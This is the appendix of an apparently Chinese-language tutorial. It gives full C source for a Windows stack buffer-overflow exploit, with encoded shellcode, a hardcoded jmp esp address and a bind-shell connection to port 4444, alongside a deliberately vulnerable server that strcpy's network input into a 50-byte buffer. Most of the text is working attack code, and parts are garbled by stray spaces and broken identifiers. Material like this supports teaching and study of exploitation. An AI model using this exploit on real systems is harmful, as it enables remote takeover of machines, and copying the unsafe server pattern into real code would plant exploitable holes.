五、附录exploit.c程序代码#include <stdio.h>#include <stdlib.h>#include <windows.h>#pragma comment (lib,"ws2_32")// jmp esp address of chinese version#define JUMPESP "\x12\x45\xfa\x7f" char shellcode[] ="\xeb\x10\x5b\x4b\x33\xc9\x66\xb9\x23\ x01\x80\x34\x0b\xf8\xe2\xfa""\xeb\x05\xe8\xeb\xff\xff\xff\x11\x01\xf8\ xf8\xf8\xa7\x9c\x59\xc8""\xf8\xf8\xf8\x73\xb8\xf4\x73\x88\xe4\x5 5\x73\x90\xf0\x73\x0f\x92""\xfb\xa1\x10\x61\xf8\xf8\xf8\x1a\x01\x9 0\xcb\xca\xf8\xf8\x90\x8f""\x8b\xca\xa7\xac\x07\xee\x73\x10\x92\x fd\xa1\x10\x78\xf8\xf8\xf8""\x1a\x01\x79\x14\x68\xf9\xf8\xf8\xac\x9 0\xf9\xf9\xf8\xf8\x07\xae""\xf4\xa8\xa8\xa8\xa8\x92\xf9\x92\xfa\x0 7\xae\xe8\x73\x20\xcb\x38""\xa8\xa8\x90\xfa\xf8\xe9\xa4\x73\x34\x 92\xe8\xa9\xab\x07\xae\xec" "\x92\xf9\xab\x07\xae\xe0\xa8\xa8\xab\x 07\xae\xe4\x73\x20\x90\x9b""\x95\x9c\xf8\x75\xec\xdc\x7b\x14\xac\x 73\x04\x92\xec\xa1\xcb\x38""\x71\xfc\x77\x1a\x03\x3e\xbf\xe8\xbc\x 06\xbf\xc4\x06\xbf\xc5\x71""\xa7\xb0\x71\xa7\xb4\x71\xa7\xa8\x75\x bf\xe8\xaf\xa8\xa9\xa9\xa9""\x92\xf9\xa9\xa9\xaa\xa9\x07\xae\xfc\xc b\x38\xb0\xa8\x07\xae\xf0""\xa9\xae\x73\x8d\xc4\x73\x8c\xd6\x80\x fb\x0d\xae\x73\x8e\xd8\xfb""\x0d\xcb\x31\xb1\xb9\x55\xfb\x3d\xcb\x 23\xf7\x46\xe8\xc2\x2e\x8c""\xf0\x39\x33\xff\xfb\x22\xb8\x13\x09\xc 3\xe7\x8d\x1f\xa6\x73\xa6""\xdc\xfb\x25\x9e\x73\xf4\xb3\x73\xa6\x e4\xfb\x25\x73\xfc\x73\xfb""\x3d\x53\xa6\xa1\x3b\x10\xfa\x07\x07\x 07\xca\x8c\x69\xf4\x31\x44""\x5e\x93\x77\x0a\xe0\x99\xc5\x92\x4c\x 78\xd5\xca\x80\x26\x9c\xe8""\x5f\x25\xf4\x67\x2b\xb3\x49\xe6\x6f\xf 9";// ripped from isnoint Make_Connection(char *address,int port,int timeout){struct sockaddr_in target;SOCKET s;int i;DWORD bf;fd_set wd;struct timeval tv;s = socket(AF_INET,SOCK_STREAM,0);if(s<0)return -1;target.sin_family = AF_INET;target.sin_addr.s_addr = inet_addr(address);if(target.sin_addr.s_addr==0){closesocket(s);return -2;}target.sin_port = htons(port);bf = 1;ioctlsocket(s,FIONBIO,&bf);_sec = timeout;_usec = 0;FD_ZERO(&wd);FD_SET(s,&wd);connect(s,(struct sockaddr *)&target,sizeof(target));if((i=select(s+1,0,&wd,0,&tv))==(-1)){closesocket(s);return -3;}if(i==0){closesocket(s);return -4;}i = sizeof(int);getsockopt(s,SOL_SOCKET,SO_ERROR ,(char *)&bf,&i);if((bf!=0)||(i!=sizeof(int))){closesocket(s);return -5;}ioctlsocket(s,FIONBIO,&bf);return s;}/* ripped from TESO code and modifed by ey4s for win32 */void shell (int sock){int l;char buf[512];struct timeval time;unsigned long ul[2];_sec = 1;_usec = 0;while (1){ul[0] = 1;ul[1] = sock;l = select (0, (fd_set *)&ul, NULL, NULL, &time);if(l==1){l = recv (sock, buf, sizeof (buf), 0);if (l <= 0){printf ("[-] Connection closed.\n");return;}l = write (1, buf, l);if (l <= 0){printf ("[-] Connection closed.\n");return;}}else{l = read (0, buf, sizeof (buf));if (l <= 0){printf("[-] Connection closed.\n");return;}l = send(sock, buf, l, 0);if (l <= 0){printf("[-] Connection closed.\n");return;}}}}int main(int argc, char *argv[]){SOCKET c,s;WSADATA WSAData;char Buff[1024];if (argc < 3){fprintf(stderr, "Usage: %s remote_addr remote_port", argv[0]);exit(1);}if(WSAStartup (MAKEWORD(1,1), &WSAData) != 0){printf("[-] WSAStartup failed.\n");WSACleanup();exit(1);}memset(Buff, 0x90, sizeof(Buff)-1);strcpy(Buff+56, JUMPESP);strcpy(Buff+60, shellcode);s = Make_Connection(argv[1], atoi(argv[2]), 10);if(s<0){printf("[-] connect err.\n");exit(1);}send(s,Buff,sizeof(Buff),0);Sleep(1000);c = Make_Connection(argv[1], 4444,10);shell(c);WSACleanup();return 1;}server.cpp程序代码#include <winsock2.h>#include <stdio.h>#pragma comment(lib,"ws2_32")char Buff[2048];void overflow(char * s,int size){char s1[50];printf("receive %d bytes",size);s[size]=0;strcpy(s1,s);}int main(){WSADATA wsa;SOCKET listenFD;int ret;char asd[2048];WSAStartup(MAKEWORD(2,2),&wsa);listenFD = WSASocket(2,1,0,0,0,0);struct sockaddr_in server;server.sin_family = AF_INET;server.sin_port = htons(8888);server.sin_addr.s_addr = INADDR_ANY;ret=bind(listenFD,(sockaddr*)&server,sizeof(server));ret=listen(listenFD,2);int iAddrSize = sizeof(server);SOCKETclientFD=accept(listenFD,(sockaddr*)&server,&iAddrSize);unsigned long lBytesRead;while(1) {lBytesRead=recv(clientFD,Buff,2048,0);if(lBytesRead<=0) break;printf("\nfd = %x\n", clientFD);overflow(Buff,lBytesRead);ret=send(clientFD,Buff,lBytesRead,0);if(ret<=0) break;}WSACleanup();return 0;}。

相关文档
最新文档